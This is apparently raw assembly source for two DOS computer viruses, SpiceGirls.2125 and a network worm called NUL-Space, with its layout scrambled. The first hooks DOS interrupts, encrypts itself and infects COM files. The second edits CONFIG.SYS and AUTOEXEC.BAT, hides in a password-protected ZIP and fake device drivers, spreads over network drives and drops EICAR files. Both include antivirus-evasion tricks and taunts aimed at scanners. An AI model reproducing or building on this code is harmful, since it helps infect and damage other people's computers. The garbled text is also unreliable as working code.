' - Spice_Girls.2125 - ' 07h dup(0ffea00b2h) ; Seven pointers to service reques... virus_begin ; Offset of virus_begin 0ffeah ; Segment of virus_begin crypt_begin ; Offset of crypt_begin (crypt_end-crypt_begin)/02h 00h ; 16-bit encryption/decryption key byte ptr $ di cx ax ; POP reg16 ; Load registers from stack

byte ptr $+01h ; Decryption algorithme byte ptr $+02h ; 16-bit index register cs:[di],ax ; Decrypt two bytes byte ptr $+01h ; 16-bit index register byte ptr $+02h ; 8-bit immediate di,02h ; DI = offset of next encrypted byte decrypt_loop

cs:[psp_segment],ds ; Store segment of PSP for current... cs ds cs es ; Save CS at stack ; Load DS from stack (CS) ; Save CS at stack ; Load ES from stack (CS)

call virus_exit: mov nop db dd call eternal_loop: jc jmp find_name proc

find_name ax,(3000h+'S') 9ah 0ffea00b0h install eternal_loop virus_exit ; Find filename ds ; Save DS at stack ds,[psp_segment] ; DS = segment of PSP for current ... ds,ds:[2ch] ; DS = segment of environment for ... si,si ; Zero SI ; AL = byte of environment block al,00h ; Last environment variable? find_zero ; Not equal? Jump to find_zero ; AL = byte of environment block al,00h ; Last environment variable? find_zero ; Not equal? Jump to find_zero si,02h ; SI = offset of filename near ; Error? Jump to eternal_loop ; SpiceGirls.2125 function

; CALL imm32 (opcode 9ah) ; Pointer to service request

push mov mov xor find_zero: lodsb cmp jne lodsb cmp jne add find_zero_: lodsb cmp jne sub mov pop ret endp install mov xor mov nop db dd mov xor sub db dd jc mov mov xor mov nop db proc

; AL = byte of filename al,00h ; End of filename? find_zero_ ; Not equal? Jump to find_zero_ si,02h ; SI = offset of last character by... ; Store last byte of file extension

byte ptr [si],0ffh ds

; Load DS from stack ; Return!

near ; Allocate memory, move virus to t... ah,(48h xor 'S') ; Allocate memory ah,'S' bx,0ffffh ; BX = number of paragraphs to all... 9ah 0ffea00b0h ; CALL imm32 (opcode 9ah) ; Pointer to service request

ah,(48h xor 'S') ; Allocate memory ah,'S' bx,(memory_end-head_begin+0fh)/10h+01h 9ah ; CALL imm32 (opcode 9ah) 0ffea00b0h ; Pointer to service request install_exit ; Error? Jump to install_exit bp,ax ; BP = segment of allocated block ah,(48h xor 'S') ; Allocate memory ah,'S' bx,(memory_end-head_begin+0fh)/10h 9ah ; CALL imm32 (opcode 9ah)

dd jc xchg push mov mov xor db dd sub mov mov lea mov mov move_header: lodsb stosb loop lea mov move_virus: lodsb stosb loop call push push pop mov xor db dd mov mov mov xor lea nop db dd pop clc install_exit: ret endp

0ffea00b0h install_exit ax,bp es es,ax ah,(49h xor ah,'S' 9ah 0ffea00b0h

; Pointer to service request ; Error? Jump to install_exit ; AX = segment of allocated block ; Save ES at stack ; ES = segment of allocated block 'S') ; Free memory ; CALL imm32 (opcode 9ah) ; Pointer to service request

bp,10h ; Subtract ten from segment of all... es,bp ; ES = segment of allocated block word ptr es:[0f1h],08h si,exe_header ; SI = offset of exe_header di,100h ; DI = offset of beginning of code cx,(header_end-header_begin) ; AL = byte of exe_header ; Store byte of exe_header move_header si,virus_begin ; SI = offset of virus_begin cx,(code_end-virus_begin) ; AL = byte of virus ; Store byte of virus move_virus correct_relo ds es ds ; Save DS at stack ; Save ES at stack ; Load DS from stack (ES)

ax,(3521h xor 'SG') ; Get interrupt vector 21h ax,'SG' 9ah ; CALL imm32 (opcode 9ah) 0ffea00b0h ; Pointer to service request word ptr [int21_addr],bx word ptr [int21_addr+02h],es ah,(25h xor 'S') ; Set interrupt vector 21h ah,'S' dx,int21_virus ; DX = offset of int21_virus 9ah 0ffea00b0h ds es ; CALL imm32 (opcode 9ah) ; Pointer to service request ; Load segments from stack ; Clear carry flag ; Return!

correct_relo proc near ; Correct relocation entries lea si,relocations ; SI = offset of relocations mov cx,0fh ; CX = number of relocation entries

correct_loop: mov add mov loop ret endp

di,es:[si] ; DI = offset of relocation si,04h ; SI = offset of next relocation e... es:[di],0ffeah ; Store high-order word of relocat... correct_loop ; Return!

int21_virus proc near xor ah,'S' cmp je cmp je cmp je cmp je cmp je cmp je int21_exit: xor jmp endp jmp_spice_fu: jmp nop jmp_exam_fil: jmp jmp_pre_test: jmp spice_functi: add popf mov mov mov mov mov mov mov mov xor mov call mov xor sub call

; Interrupt 21h of SpiceGirls.2125

ax,(3000h xor 5300h+'S') jmp_spice_fu ; Equal? Jump to jmp_spice_fu ah,(3dh xor 'S') ; Open file? jmp_exam_fil ; Equal? Jump to jmp_exam_fil ah,(3eh xor 'S') ; Close file? jmp_pre_test ; Equal? Jump to jmp_pre_test ah,(43h xor 'S') ; Get or set file attributes jmp_exam_fil ; Equal? Jump to jmp_exam_fil ah,(4bh xor 'S') ; Load and/or execute program? jmp_exam_fil ; Equal? Jump to jmp_exam_fil ah,(56h xor 'S') ; Rename file jmp_exam_fil ; Equal? Jump to jmp_exam_fil ah,'S' cs:[int21_addr]

spice_functi

examine_file pre_tst_func sp,04h ; Correct stack pointer ; Load flags from stack

[file_handle_],'SG' ax,[origin_off] cs:[origin_off],ax ; AX = offset of original code ; Store offset of original code

ax,ds:[psp_segment] ; AX = segment of PSP for current ... cs:[psp_segment],ax ; Store segment of PSP for current... ds,cs:[psp_segment] ; DS = segment of PSP for current ... es,cs:[psp_segment] ; ES = segment of PSP for current ... ah,(4ah xor 'S') ; Resize memory block ah,'S' bx,0ffffh ; BX = new size in paragraphs int21_simula ah,(4ah xor 'S') ; Resize memory block ah,'S' bx,04h ; BX = new size in paragraphs int21_simula

cli mov mov sti mov mov mov std mov add add mov add add dec dec mov move_origin: lodsb stosb loop cld mov add mov mov move_origin_: lodsb stosb loop xor xor xor xor xor xor xor retf examine_file: mov mov mov pushf push sti cld call mov mov

; Clear interrupt-enable flag ss,cs:[psp_segment] ; SS = segment of PSP for current ... sp,0fffah ; SP = stack pointer ; Set interrupt-enable flag word ptr ds:[0fffeh],00h ds:[0fffch],ds ; Store segment of PSP for current... ds:[0fffah],100h ; Store instruction pointer ; Set direction flag si,cs:[origin_off] ; SI = offset of original code si,100h ; Add offset of beginning of code si,(code_end-code_begin) di,cs:[origin_off] ; DI = offset of original code di,100h ; Add offset of beginning of code di,(code_end-head_begin) si ; Decrease SI di ; Decrease DI cx,cs:[origin_off] ; CX = offset of original code ; AL = byte of original code ; Store byte of original code move_origin ; Clear direction flag si,cs:[origin_off] ; SI = offset of original code si,100h ; Add offset of beginning of code di,100h ; DI = offset of beginning of code cx,(code_end-head_begin) ; AL = byte of original code ; Store byte of original code move_origin_ ax,ax cx,cx dx,dx bx,bx bp,bp si,si di,di ; ; ; ; ; ; ; Zero Zero Zero Zero Zero Zero Zero AX CX DX BX BP SI DI

; Return far! cs:[dos_function],ah word ptr cs:[name_pointer],dx word ptr cs:[name_pointer+02h],ds ; Save flags at stack ax cx dx bx bp si di es ds ; Set interrupt-enable flag ; Clear direction flag int24_store si,word ptr cs:[name_pointer] ds,word ptr cs:[name_pointer+02h]

call jc mov mov call jc mov mov call jc mov mov call infect_exit: mov mov call jc mov mov mov call examin_exit: call pop popf jmp

examine_name infect_exit

; Error? Jump to infect_exit

dx,word ptr cs:[name_pointer] ds,word ptr cs:[name_pointer+02h] test_exe_sig infect_exit

; Error? Jump to infect_exit

dx,word ptr cs:[name_pointer] ds,word ptr cs:[name_pointer+02h] tst_filesize infect_exit

; Error? Jump to infect_exit

dx,word ptr cs:[name_pointer] ds,word ptr cs:[name_pointer+02h] infect_file si,word ptr cs:[name_pointer] ds,word ptr cs:[name_pointer+02h] test_infect examin_exit

; Error? Jump to examin_exit

ah,cs:[dos_function] si,word ptr cs:[name_pointer] ds,word ptr cs:[name_pointer+02h] test_functio int24_load ds es di si bp bx dx cx ax ; Load flags from stack int21_exit

int24_store proc near ; Get and set interrupt vector 24h xor ax,ax ; Zero AX mov ds,ax ; DS = segment of interrupt table mov ax,ds:[24h*04h] ; AX = offset of interrupt 24h mov word ptr cs:[int24_addr],ax mov ax,ds:[24h*04h+02h] ; AX = segment of interrupt 24h mov word ptr cs:[int24_addr+02h],ax mov word ptr ds:[24h*04h],offset int24_virus mov ds:[24h*04h+02h],cs ; Set interrupt segment 24h ret endp ; Return!

examine_name proc near ; Examine filename lodsb ; AL = byte of filename cmp al,00h ; End of filename? jne examine_name ; Not equal? Jump to examine_name sub lodsw and cmp je si,07h ; SI = offset of last two bytes of... ; AX = two bytes of filename ax,0101111101011111b ax,'DN' ; COMMAND.COM? examin_exit_ ; Equal? Jump to examin_exit_

lodsb cmp jne lodsw and xor cmp jne lodsb and xor cmp jne clc ret examin_exit_: stc ret endp

; AL = dot after filename al,'.' ; Dot after filename? examin_exit_ ; Not equal? Jump to examin_exit_ ; AX = two bytes of file extension ax,0101111101011111b ax,'SG' ax,('OC' xor 'SG') ; COM executable? examin_exit_ ; Not equal? Jump to examin_exit_ ; AL = byte of file extension al,01011111b ; Upcase character al,'S' al,('M' xor 'S') ; COM executable? examin_exit_ ; Not equal? Jump to examin_exit_ ; Clear carry flag ; Return! ; Set carry flag ; Return!

test_exe_sig proc near ; Test EXE signature mov ax,(3d00h xor 'SG') ; Open file (read) xor ax,'SG' call int21_simula jc tst_sig_exit ; Error? Jump to tst_sig_exit xchg ax,bx ; BX = file handle push pop mov xor lea mov call mov xor call mov xor cmp je mov xor cmp je clc ret tst_sig_exit: stc ret cs ds ; Save CS at stack ; Load DS from stack (CS)

ah,(3fh xor 'S') ; Read from file ah,'S' dx,exe_head_sig ; DX = offset of exe_head_sig cx,02h ; Read two bytes int21_simula ah,(3eh xor 'S') ah,'S' int21_simula ; Close file

ax,('ZM' xor 'SG') ; AX = EXE signature ax,'SG' [exe_head_sig],ax ; Found EXE signature? tst_sig_exit ; Equal? Jump to tst_sig_exit ax,('MZ' xor 'SG') ; AX = EXE signature ax,'SG' [exe_head_sig],ax ; Found EXE signature? tst_sig_exit ; Equal? Jump to tst_sig_exit ; Clear carry flag ; Return! ; Set carry flag ; Return!

endp tst_filesize proc near ; Test filesize mov ax,(3d00h xor 'SG') ; Open file (read) xor ax,'SG' call int21_simula xchg ax,bx ; BX = file handle push pop mov xor xor xor call push mov xor call pop cmp jb cmp ja cmp ja mov xor mov div cmp je mov xor mov div cmp je clc ret tst_siz_exit: stc ret endp int21_simula proc pushf call ret endp near cs ds ; Save CS at stack ; Load DS from stack (CS)

ax,(4202h xor 'SG') ; Set current file position (EOF) ax,'SG' cx,cx ; Zero CX dx,dx ; Zero DX int21_simula ax dx ; Save registers at stack ah,(3eh xor 'S') ; Close file ah,'S' int21_simula dx ax ; Load registers from stack ax,(code_end-head_begin) tst_siz_exit ; Filesize too small? Jump to tst_... dx,00h ; Filesize too large? tst_siz_exit ; Above? Jump to tst_siz_exit ax,0ea60h ; Filesize too large? tst_siz_exit ; Above? Jump to tst_siz_exit [origin_off],ax ; Store offset of original code

dx,dx ; Zero DX cx,200h cx ; Divide by pages dx,00h ; Bait file? tst_siz_exit ; Equal? Jump to tst_siz_exit ax,[origin_off] ; Store offset of original code

dx,dx ; Zero DX cx,3e8h cx ; Divide by thousands dx,00h ; Bait file? tst_siz_exit ; Equal? Jump to tst_siz_exit ; Clear carry flag ; Return! ; Set carry flag ; Return!

; Simulate interrupt 21h ; Save flags at stack

cs:[int21_addr] ; Return!

infect_file proc near ; Infect COM file mov ax,(4300h xor 'SG') ; Get file attributes xor ax,'SG' call int21_simula mov cs:[file_attr],cx ; Store file attributes mov xor xor call mov xor call jnc jmp load_info: xchg push pop mov xor call mov mov push mov mov mov xor xor mov call push mov xor xor xor call pop mov xor xor call pop mov xor xor xor call mov add xor mov ax,(4301h xor 'SG') ; Set file attributes ax,'SG' cx,cx ; CX = new file attributes int21_simula ax,(3d02h xor 'SG') ; Open file (read/write) ax,'SG' int21_simula load_info ; No error? Jump to load_info infect_exit_ ax,bx cs ds ; BX = file handle ; Save CS at stack ; Load DS from stack (CS)

ax,(5700h xor 'SG') ; Set file's date and time ax,'SG' int21_simula [file_time],cx ; Store file time [file_date],dx ; Store file date ds ax,0bf00h ds,ax ; Save DS at stack ; AX = segment of text video RAM ; DS = " " " " "

ah,(3fh xor 'S') ; Read from file ah,'S' dx,dx ; Zero DX cx,(code_end-head_begin) int21_simula ax ; ax,(4202h xor ax,'SG' cx,cx ; dx,dx ; int21_simula cx ; Save AX at stack 'SG') ; Set current file position (EOF) Zero CX Zero DX Load CX from stack (AX)

ah,(40h xor 'S') ; Write to file ah,'S' dx,dx ; Zero DX int21_simula ds ; Load DS from stack ax,(4200h xor 'SG') ; Set current file position (SOF) ax,'SG' cx,cx ; Zero CX dx,dx ; Zero DX int21_simula ax,[origin_off] ; Store offset of original code ax,(code_end-head_begin) dx,dx ; Zero DX cx,200h

div inc mov mov push mov mov call mov xor mov xor call pop mov xor mov mov call mov xor call infect_exit_: mov xor mov mov mov call ret endp

cx ; Divide by pages ax ; Increase AX [pages_in_fil],ax ; Store total number of 512-bytes ... [bytes_on_las],dx ; Store number of bytes on last 51... ds ax,0bf00h ds,ax spice_oligo ah,(40h xor 'S') ; Write to file ah,'S' cx,(code_end-head_begin) dx,dx ; Zero DX int21_simula ds ; Load DS from stack ax,(5701h xor 'SG') ; Set file's date and time ax,'SG' cx,[file_time] ; CX = file time dx,[file_date] ; DX = file date int21_simula ah,(3eh xor 'S') ah,'S' int21_simula ; Close file ; Save DS at stack ; AX = segment of text video RAM ; DS = " " " " "

ax,(4301h xor 'SG') ; Set file attributes ax,'SG' ds,word ptr [name_pointer+02h] cx,cs:[file_attr] ; CX = file attributes dx,word ptr cs:[name_pointer] int21_simula ; Return!

spice_oligo proc push ds push pop push pop in mov xor mov mov and mov ror mov and mov mov or ds es cs ds

near

; SpiceGirls.2125 oligomorphic engine ; Save DS at stack ; Save DS at stack ; Load ES from stack (DS) ; Save CS at stack ; Load DS from stack (CS)

al,40h ; AL = 8-bit random number byte ptr [crypt_key],al al,'S' byte ptr [crypt_key+01h],al ah,al ; AH = 8-bit random number ah,00000001b ; AH = 16-bit index register [index_reg__],ah ; Store 16-bit index register al,01h ; AL = 8-bit random number ah,al ; AH = encryption/decryption algor... ah,00000001b ; AH = " " [crypt_algo],ah ; Store encryption/decryption algo... al,5eh ; POP SI (opcode 5eh) al,[index_reg__] ; POP reg16

mov mov mov add mov mov mov mov or mov mov or mov mov mov xor mov add mov mov mov mov xor mov move_virus_: lodsb stosb loop lea mov mov

[pop_reg16],al

; Store POP reg16

al,[crypt_algo] ; AL = encryption/decryption algor... ah,00h ; Zero AH ax,offset algo_table si,ax ; SI = offset of decryption algori... al,[si] ; AL = decryption algorithme [decrypt_algo],al ; Store decryption algorithme al,04h ; AL = 16-bit index register al,[index_reg__] ; AL = " " " [index_reg],al ; Store 16-bit index register al,0c6h ; AL = 16-bit index register al,[index_reg__] ; AL = " " " [index_reg_],al ; Store 16-bit index register [add_idx_imm8],02h ; Store 8-bit immediate al,[crypt_algo] ; AL = encryption/decryption algor... al,00000001b ; Invert first bit of AL ah,00h ; Zero AH ax,offset algo_table si,ax ; SI = offset of encryption algori... al,[si] ; AL = encryption algorithme [encrypt_algo],al ; Store encryption algorithme si,100h ; SI = offset of beginning of code di,di ; Zero DI cx,(code_end-head_begin) ; AL = byte of virus ; Store byte of virus move_virus_ si,crypt_begin-100h ; SI = offset of crypt_begin cx,[crypt_size] ; CX = number of bytes to encrypt ax,[crypt_key] ; AX = encryption/decryption key

jmp encrypt_loop encrypt_loop: encrypt_algo equ byte ptr $+01h ; Encryption algorithme sub es:[si],ax ; Encrypt two bytes add loop pop ret endp index_reg__ crypt_algo algo_table db db db db 29h ? ? 01h si,02h encrypt_loop ds ; Load DS from stack ; Return! ; SI = offset of next encrypted byte

; ; ; ; SUB

16-bit index register Encryption/decryption algortihme ADD segment:[index],AX segment:[index],AX

test_infect proc near ; Test for previously infection lodsb ; AL = byte of filename cmp al,00h ; End of filename? jne test_infect ; Not equal? Jump to test_infect

sub lodsw and xor cmp jne lodsb cmp jne clc ret tst_inf_exit: stc ret endp

si,04h

; SI = offset of file extension ; AX = two bytes of file extension ax,0101111101011111b ax,'SG' ax,('OC' xor 'SG') ; COM executable? tst_inf_exit ; Not equal? Jump to tst_inf_exit ; AL = byte of file extension al,0ffh ; Allready infected? tst_inf_exit ; Not equal? Jump to tst_inf_exit ; Clear carry flag ; Return! ; Set carry flag ; Return!

test_functio proc near ; Test DOS function number cmp ah,(3dh xor 'S') ; Open file? je jmp_create ; Equal? Jump to jmp_create cmp ah,(3eh xor 'S') ; Close file? je jmp_delete ; Equal? Jump to jmp_delete ret endp jmp_create: jmp nop jmp_delete: jmp create_clean: push pop mov lea mov move_name: lodsb stosb loop push pop mov xor xor lea call jnc jmp store_handle: mov mov lea find_zero__: ; Return!

create_clean

delete_clean cs es ; Save CS at stack ; Load ES from stack (CS)

si,dx ; SI = offset of filename di,filename ; DI = offset of filename cx,40h ; Move sixty-four bytes of the fil... ; AL = byte of filename ; Store byte of filename move_name cs ds ; Save CS at stack ; Load DS from stack (CS)

ah,(3ch xor 'S') ; Create file ah,'S' cx,cx ; CX = file attributes dx,filename ; DX = offset of filename int21_simula store_handle ; No error? Jump to store_handle clean_exit bp,ax ; BP = file handle [file_handle_],ax ; Store file handle si,filename ; SI = offset of filename

lodsb cmp jne sub mov mov xor lea call jnc jmp store_extens: mov mov mov mov mov xor mov mov call mov sub mov xor mov xor call xchg mov xor mov xor call xchg mov xor xor mov call tst_file_pos: mov cmp jae mov read_file: mov mov xor xor call

; AL = byte of filename al,00h ; End of filename? find_zero__ ; Not equal? Jump to find_zero__ si,02h ; SI = offset of last character by... ; Store last byte of file extension

byte ptr [si],'M'

ax,(3d00h xor 'SG') ; Open file (read) ax,'SG' dx,filename ; DX = offset of filename int21_simula store_extens ; No error? Jump to store_extens clean_exit bx,ax ; BX = file handle byte ptr [si],0ffh ; Store last byte of file extension ax,0bf00h ds,ax ; AX = segment of text video RAM ; DS = " " " " "

ax,(4202h xor 'SG') ; Set current file position (EOF) ax,'SG' cx,-01h ; CX = end of file dx,-(code_end-head_begin) int21_simula si,ax ; SI = original filesize si,(code_end-head_begin) ah,(3fh xor 'S') ; Read from file ah,'S' cx,(code_end-head_begin) dx,dx ; Zero DX int21_simula bx,bp ; BX = file handle ah,(40h xor 'S') ; Write to file ah,'S' cx,(code_end-head_begin) dx,dx ; Zero DX int21_simula bx,bp ; BX = file handle ax,(4200h xor 'SG') ; Set current file position (SOF) ax,'SG' cx,cx ; Zero CX dx,(code_end-head_begin) int21_simula cx,1000h si,cx read_file cx,si di,cx ; CX = number of bytes to read ; Read less than four thousand and... ; Above or equal? Jump to read_file ; CX = number of bytes to read ; DI = number of bytes to read

ah,(3fh xor 'S') ; Read from file ah,'S' dx,dx ; Zero DX int21_simula

mov xchg mov xor xor call xchg sub cmp jne mov xor call xchg mov xor call ret clean_exit: mov ret delete_clean: cmp jne push pop mov xor lea call mov dont_delete: ret

cx,ax bx,bp

; CX = number of bytes actually read ; BX = file handle

ah,(40h xor 'S') ; Write to file ah,'S' dx,dx ; Zero DX int21_simula bx,bp ; BX = file handle si,di ; SI = bytes left to read si,00h ; Read all of the file? tst_file_pos ; Not equal? Jump to tst_file_pos ah,(3eh xor 'S') ; Close file ah,'S' int21_simula bx,bp ; BX = file handle ah,(3eh xor 'S') ah,'S' int21_simula ; Return! [file_handle_],'SG' ; Return! cs:[file_handle_],bx dont_delete ; Don't delete disinfected file cs ds ; Save CS at stack ; Load DS from stack (CS) ; Close file

ah,(41h xor 'S') ; Delete file ah,'S' dx,filename ; DX = offset of filename int21_simula [file_handle_],'SG' ; Return!

int24_load proc near ; Set interrupt vector 24h xor ax,ax ; Zero AX mov ds,ax ; DS = segment of interrupt table mov ax,word ptr cs:[int24_addr] mov ds:[24h*04h],ax ; Store segment of interrupt 24h mov ax,word ptr cs:[int24_addr+02h] mov ds:[24h*04h+02h],ax ; Store segment of interrupt 24h ret endp pre_tst_func: mov mov pushf push sti cld ; Return!

cs:[dos_function],ah cs:[file_handle],bx ; Store file handle ; Save flags at stack ax cx dx bx bp si di es ds ; Set interrupt-enable flag ; Clear direction flag

call mov mov call call pop popf jmp

int24_store ah,cs:[dos_function] bx,cs:[file_handle] ; BX = file handle test_functio int24_load ds es di si bp bx dx cx ax ; Load flags from stack int21_exit ; Interrupt 24h of SpiceGirls.2125 ; Fail system call in progress ; Interrupt return!

int24_virus proc near mov al,03h iret endp db db db db header_begin: exe_header db dw dw dw dw dw dw db dd dw dw dd dd dd db db dd dw dw dw dw dw header_end: psp_segment dw int21_addr dd int24_addr dd dos_function db name_pointer dd file_handle dw exe_head_sig dw file_attr dw file_time dw file_date dw origin_off dw file_handle_ dw filename db crypt_end: db code_end:

0dh,0ah,'What? ''Error: invalid program''? Me? Fprot, are you crazy? :)' 0dh,0ah,'And you, Avp, ''EXE file but COM extension''. What a deep scan. ;)' 0dh,0ah,'Spice_Girls virus causes problems to your scan engine eh? :)' 0dh,0ah,'$' 'MZ' ; EXE signature (pages_end-pages_begin) mod 200h (pages_end-pages_begin)/200h (relo_end-relo_begin)/04h (head_end-head_begin)/10h 00h,01h ; Minimum-, maximum number of para... 0ffeah,stack_ptr ; Pointer to stack 'SG' ; Checksum 0ffea00b2h ; Pointer to service request + 02h relocations-100h ; Offset of relocations - 100h 00h ; Overlay number (main program) 0ffea0178h,0ffea017ch,0ffea0180h,0ffea0184h,0ffea0188h 0ffea018ch,0ffea0190h,0ffea0194h,0ffea01beh,0ffea01f8h 0ffea0206h,0ffea0218h,0ffea0228h,0ffea025ch,0ffea0272h 08h dup(00h) ' - Spice_Girls.2125 - ' 07h dup(0ffea00b2h) ; Seven pointers to service reques... virus_begin ; Offset of virus_begin 0ffeah ; Segment of virus_begin crypt_begin ; Offset of crypt_begin (crypt_end-crypt_begin)/02h 00h ; 16-bit encryption/decryption key ? ; Segment of PSP for current proce... ? ; Address of interrupt 21h ? ; Address of interrupt 24h ? ; DOS function number ? ; Pointer to filename ? ; File handle ? ; EXE header signature ? ; File attributes ? ; File time ? ; File date terminate-100h ; Offset of original code ? ; File handle 40h dup(?) ; Filename 00h

memory_end: terminate: mov int db pages_end:

ax,4c00h 21h 241h dup(90h)

; Terminate with return code

end head_begin ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SPIC2125.ASM]ÄÄ

comment * ; Designed by "Q" the Misanthrope ; ; ; ; ; ; ; This virii/worm hides is NUL-Space and Cypher Text (See my "Playing Hide and Seek" article) Once active this virus can not be detected by normal means. It hides in a file that has the same name as a NUL device driver. It also hides in a ZIP file that is password protected so AV programs won't detect it. It has an unusual payload: it creates those stupid EICAR test files all over the PC. It is network aware and only spreads by network drives. It works with Windows 95.

; tasm nulspace /m2 ; tlink nulspace /t ; copy nulspace.com c:\winstart.bat * .286 qseg segment assume org label org byte public 'CODE' cs:qseg,es:qseg,ss:nothing,ds:qseg 00feh word 0100h

counter

start: com_install proc db js jns db db db db js jns db db jmp_next_part: jo jno db db password1 db random_file1 db random_ext1 db db db jmp_next_part1: ja jb db db db password2 db random_file2 db random_ext2 db db jmp_next_part2: jpe jpo db db db near ;batch file starting "::" ;as a com file it jumps past jmp_next_part ;the batch code jmp_next_part 0dh,0ah "@CTTY NUL",0dh,0ah ;output off and change config "ECHO INSTALLHIGH=C:\WINSTART.BAT>>C:\CONFIG.SYS",0dh,0ah "IF %Q%==Q GOTO " ;used for reinfection $(go_mem_res-jmp_next_part3) $(go_mem_res-jmp_next_part3-02h) 0dh,0ah ":" jmp_next_part1 ;more stupid jumps jmp_next_part1 0dh,0ah "PKZIP -3 -- -+ -~ -S" ;compress ourselves "XXX C:\" ;use password "QUE." ;random file name "CAB C:\WINSTART.BAT",0dh,0ah "ECHO @ECHO OFF>>C:\AUTOEXEC.BAT",0dh,0ah ":" ;prepare autoexec for reinfect jmp_next_part2 ;more jumps jmp_next_part2 0dh,0ah "ECHO CTTY NUL>>C:\AUTOEXEC.BAT",0dh,0ah "ECHO PKUNZIP -) -3 -O -S" "XXX C:\" ;reinfect again "QUE." "CAB>>C:\AUTOEXEC.BAT",0dh,0ah ":" jmp_next_part3 ;more jumps jmp_next_part3 0dh,0ah ;set q=q for jmp in winstart "ECHO SET Q=Q>>C:\AUTOEXEC.BAT",0dh,0ah "ECHO CTTY CON>>C:\AUTOEXEC.BAT",0dh,0ah

db jmp_next_part3: js jns db db 0ah db db com_install endp go_mem_res proc mov mov int mov mov mov int cld lds push pop mov movsw movsw mov mov add loop push pop mov 21h mov mov mov mov push pop int push pop mov mov int mov mov int endp proc mov iret retf endp

":" go_mem_res ;more jumps go_mem_res 0dh,0ah ;spread it around "FOR %%Q IN (%PATH% C:\) DO %COMSPEC% /F/CCOPY/B %0+%0.BAT %%Q",0dh, "CTTY CON" 1ah ;output on ;ctrl-z

next_device:

near ;clear environment space es,word ptr ds:[2ch] ah,49h 21h ;create NUL-Space devices di,offset scandisk_device cx,0003h ;3 of them, first is scandskw ah,52h ;get list of lists 21h si,dword ptr es:[bx+22h];get NUL device chain cs es ax,di ;point to new device to add ;put it in chain ;far pointer word ptr ds:[si-02h],cs ;point to new device word ptr ds:[si-04h],ax di,offset eicar_device-scandisk_device-04h next_device ;do eicar and winstart device cs ;hook interrupt 21 ds ax,3521h word ptr ds:[previous_hook],bx word ptr ds:[previous_hook+02h],es ax,2518h ;save old interrupt 21 as 18 dx,bx es ds 21h cs ds dx,offset resident_isr21 al,21h 21h ah,31h ;go memory resident dx,((tail-com_install+0110h) SHR 4) 21h

int

go_mem_res interrupt_24

near al,03h

return_far: interrupt_24

;fiddly little critical error ;handler ;retf for NUL device routines

vname db scandisk_device dd dw dw dw db eicar_device dd

" NUL-Space " -1 8004h return_far return_far "SCANDSKW" -1

;our 3 new NUL-Space devices ;nul character attributes ;do nothing routines ;stop scandskw in windows 95

dw dw dw eicar_dev_name db winstart_device dd dw dw dw win_dev_name db winstart_file db eicar_drive db eicar_file db eicar_ext db drive_number dw eicar pop ax push push pop bx push pop dx pop ax push pop si inc bx inc bx sub jge db dec sub db label endp proc mov xor 43h,al cx al,40h cx,ax loop cx al,1fh al,'A' al,'Z' nameit al,42 stosb mov inc in setname retn endp xor ax and ax xor ax proc

8004h return_far return_far "EICAR " -1 8004h return_far return_far "WINSTART" "C:\WINSTART.BAT",00h "C:" "EICAR." "QUE",00h 27 near ax,214Fh ax,4140h

;protect those stupid eicar ;files while we infect

;finally protect ourselves ;file name to replicate

;stupid EICAR file

al,5Ch

xor ax sub

ax,2834h

[bx],si

eicar_text terminate:

eicar_length eicar create_random3 setname: out push in mov around: pop and add cmp jbe sub nameit:

[bx],si terminate 'EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$' ax cx,[bx+si+2Ah] 0dh,0ah byte

near cx,0003h ax,ax

;3 byte random file ;random name at ds:si & ds:di

around

;psuedo random delay ;32 letters possible

incloop: loop create_random3

;if above Z then make it 1-6 ;save random name byte ptr es:[si],al si al,40h ;get the high byte

resident_isr21

infect_now:

next_drive:

save_letter: check_next:

eicar_dropper:

proc pusha push push pushf push pop cld inc jz jmp mov int push pusha mov mov int push pop mov cmp jb mov inc mov mov int jc xchg add mov mov test jz mov mov call mov mov call cmpsb call mov mov pusha call popa cmpsw call mov mov mov xor xor int mov jc mov mov jmp mov mov

near ds es cs ds word ptr ds:[counter] infect_now not_infect_now ax,3524h 18h es ;only infect every 65536 times ;into interrupt 21h ;set critical error handler

dx,offset interrupt_24 ;our handler ah,25h 18h cs es ;get drive to infect bx,word ptr ds:[drive_number] bx,27 ;is it past drive Z: ? save_letter bl,02h bx ;inc and save for next time word ptr ds:[drive_number],bx ax,4409h ;see if network or local drive 18h next_drive ;if neither get next drive ax,bx al,"@" ;save drive letter byte ptr ds:winstart_file,al byte ptr ds:eicar_drive,al dh,10h ;test for network eicar_dropper ;if local then drop EICARs di,offset password1 ;create new cypher text file si,offset password2 ;to be made from winstart create_random3 di,offset random_file1 ;random file name si,offset random_file2 create_random3 create_random3 ;and random extension di,offset eicar_file ;random file name si,offset eicar_dev_name create_random3

create_random3 ;and more random name dx,offset winstart_file ;create worm di,offset win_dev_name ;disable nul-space driver ah,5bh ;create new file byte ptr ds:[di],ah cx,cx ;normal attributes 18h byte ptr ds:[di],"W" ;set nul-space driver back unable_infect dx,0100h ;point to start of winstart cx,offset previous_hook-start short write_file ;create file di,offset eicar_ext ;create EICAR file si,di ;random extension

call mov mov xor mov mov int mov mov mov write_file: mov xchg int mov mov int mov int unable_infect: popa pop mov int not_infect_now: popf pop_it: pop pop_ds_and_all: pop popa resident_isr21 endp far_jmp db previous_hook: far_jmp proc 0eah label endp org label ends end

create_random3 di,offset eicar_dev_name ah,5bh ;create new file byte ptr ds:[di],ah ;disable nul-space driver dx,offset eicar_drive ;point to file cl,07h ;readonly, hidden and system 18h byte ptr ds:[di],"E" ;enable nul-space again dl,low(offset eicar) ;point to EICAR file cl,low(offset eicar_length-eicar) bh,40h ;write EICAR or winstart file ax,bx 18h ax,5701h ;set date dx,229fh 18h ah,3eh ;close it 18h ;done es dx,bx ;set critical error back 18h es ds

near double ;previous interrupt 21

tail qseg

$+04h byte start

